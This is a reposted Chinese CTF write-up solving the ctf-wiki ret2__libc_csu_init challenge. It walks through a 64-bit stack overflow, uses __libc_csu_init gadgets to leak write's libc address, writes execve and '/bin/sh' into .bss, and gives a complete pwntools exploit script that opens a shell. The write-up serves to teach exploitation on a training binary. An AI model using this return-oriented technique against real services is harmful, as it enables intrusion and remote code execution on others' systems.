二进制学习系列-栈溢出之libc_init

前言:

这是一道ctf wiki上面的一道中级ROP,思路很明确,但是还是有些小坑,比如说write函数上面,还有pwntools函数上面等等…

附件:

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2__libc_csu_init

详解:

0x1:

checksec后发现

64位的程序,只开了NX保护。

程序很简单,就一个read函数:

void vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  read(0, &buf, 0x200uLL);
}

栈溢出无疑。

0x2:

先找偏移地址:

输入地址:

返回值地址:

所以得到偏移为136

0x3:

我们查找一下got函数表

没有system函数,也找不到/bin/sh字符串,所以只能用libc泄漏函数地址来进行利用。我们这里选择用write函数来利用,打印出write_got函数的地址,再去寻找相对应的libc,当然也可以选用__libc_start_main来利用。

0x4:

64位的特点:

在64位程序中,函数的前6个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。 这时候,我们可以利用x64下的__libc_scu_init中的gadgets。这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。我们先来看一下这个函数:

Libc_scu_init利用方法:

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp
  1. 从0x000000000040061A一直到结尾,我们可以利用栈溢出构造栈上数据来控制rbx,rbp,r12,r13,r14,r15寄存器的数据。
  2. 从0x0000000000400600到0x0000000000400609,我们可以将r13赋给rdx,将r14赋给rsi,将r15d赋给edi(需要注意的是,虽然这里赋给的是edi,但其实此时rdi的高32位寄存器值为0,所以其实我们可以控制rdi寄存器的值,只不过只能控制低32位),而这三个寄存器,也是x64函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制r12与rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制rbx为0,r12为存储我们想要调用的函数的地址。
  3. 从0x000000000040060D到0x0000000000400614,我们可以控制rbx与rbp的之间的关系为rbx+1=rbp,这样我们就不会执行loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。

0x5:

利用libc_init来泄漏write函数地址:

playload = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr)

这里要注意的点是调用write函数去泄漏write_got地址的时候不要用write_plt表,而仍然要用write_got。

用write_plt表调用情况:

此时所调用的write_plt地址并不是我们想要的write函数地址

再看看write_got调用情况:

正是我们所想要的write函数地址

查看泄漏出的地址:

为0x7fcf2fd482b0,查询对应的libc:

重新执行main函数,execve写入bss段:

因为这里我没有泄漏出libc表中system函数地址,所以我们这里选用execve函数来拿shell。

前面泄漏出execve地址就不详细说了。

playload1 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_addr) + p64(0) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr)

这里选用read函数来写入bss段。再把字符串/bin/sh也写入进去。

p.send(p64(execv_addr)+'/bin/sh\x00')

这里面不能直接去使用execve函数的地址去调用它,而是应该把它的地址写入bss段再去使用该bss段地址,详细可以自己动手实验,具体原因我也不得而知。

这里send和senline的区别就是senline自带\n结束。

再次执行main函数,调用execve函数getshell:

playload2 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr + 8) + p64(mov_addr)

这里就在所要call的函数地址写上bss段的地址,系统则会调用bss段上的的execve地址。

0x6:

EXP:

from pwn import *

p = process('./level5')
elf = ELF('level5')
libc = ELF('libc.so.6')

pop_addr = 0x40061a
write_plt = elf.plt['write']
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']
read_got = elf.got['read']
bss_addr = elf.bss()

p.recvuntil('Hello, World\n')
playload = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr)
#gdb.attach(p)
p.sendline(playload)

write_start = u64(p.recv(8))
print hex(write_start)
libc_base = write_start - libc.symbols['write']
execv_addr = libc_base + libc.symbols['execve']

sleep(1)
p.recvuntil('Hello, World\n')
playload1 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_addr) + p64(0) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr)
#gdb.attach(p)
p.sendline(playload1)
#gdb.attach(p)
sleep(1)
p.send(p64(execv_addr)+'/bin/sh\x00')
#gdb.attach(p)

p.recvuntil('Hello, World\n')
playload2 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr + 8) + p64(mov_addr)
gdb.attach(p)
p.sendline(playload2)
p.interactive()

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-09-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏容器云生态

关于vim的简单设置以及使用技巧

vim快速指南: vim 使用技巧: 1、认识.命令 最理想的编辑模式:一次按键移动,一次编辑操作 .命令可以重复上一次的修改操作 在普通模式下: j...

2419
来自专栏逢魔安全实验室

基于python的自动化代码审计

新年马上到了,FormSec现在这里给大家拜年,祝大家狗年旺财! 当然新年礼物已经给大家备好了:《基于python的自动化代码审计》 本文通过介绍在...

3866
来自专栏ImportSource

并发编程-加锁机制

本文翻译自《Java Concurrency ?In ?Practice》,定期放送 ,让你利用碎片时间悄悄的看了一本书! 我们的文章是系列的。所以先请允许...

3158
来自专栏Micro_awake web

javascript(一):javascript基本介绍及基本语法

什么是javascript? javascript是一种直译型脚本语言,是一种动态类型、弱类型、基于原型的语言。(所谓“脚本语言”:指的是它不具有开发操作系统的...

1988
来自专栏嵌入式程序猿

号外号外:无规矩不成方圆(2)

本文所有MISRA规则由嵌入式程序猿整理自网络,版权归原作者所有。 语言扩展规则 规则2.1(强制): 汇编语言应该被封装并隔离。 在需要使用汇编指令的地方,建...

2828
来自专栏大内老A

ASP.NET Core的配置(4):多样性的配置来源[上篇]

较之传统通过App.config和Web.config这两个XML文件承载的配置系统,ASP.NET Core采用的这个全新的配置模型的最大一个优势就是针对多种...

2016
来自专栏大内老A

通过自定义ServiceHost实现对WCF的扩展[原理篇]

除了采用自定义特性声明(服务行为、契约行为和操作行为)或者配置的方式(服务行为和终结点行为)应用自定义的行为之外,我们还可以通过自定义ServiceHost来应...

1926
来自专栏Jimoer

JVM学习记录-线程安全与锁优化(一)

线程:程序流执行的最小单元。线程是比进程更轻量级的调度执行单位,线程的引入,可以把一个进程的资源分配和执行调度分开,各个线程既可以共享进程资源(内存地址、文件I...

682
来自专栏Python

django:DateTimeField如何自动设置为当前时间并且能被修改 ——django日期时间字段的使用

创建django的model时,有DateTimeField、DateField和TimeField三种类型可以用来创建日期字段,其值分别对应着datetime...

5228
来自专栏Python中文社区

一种Python全局配置规范以及其修改

專 欄 ❈丁果,Python中文社区作者。对django、pyqt、opencv、tornado感兴趣。 GitHub:https://github.com/...

2759

扫码关注云+社区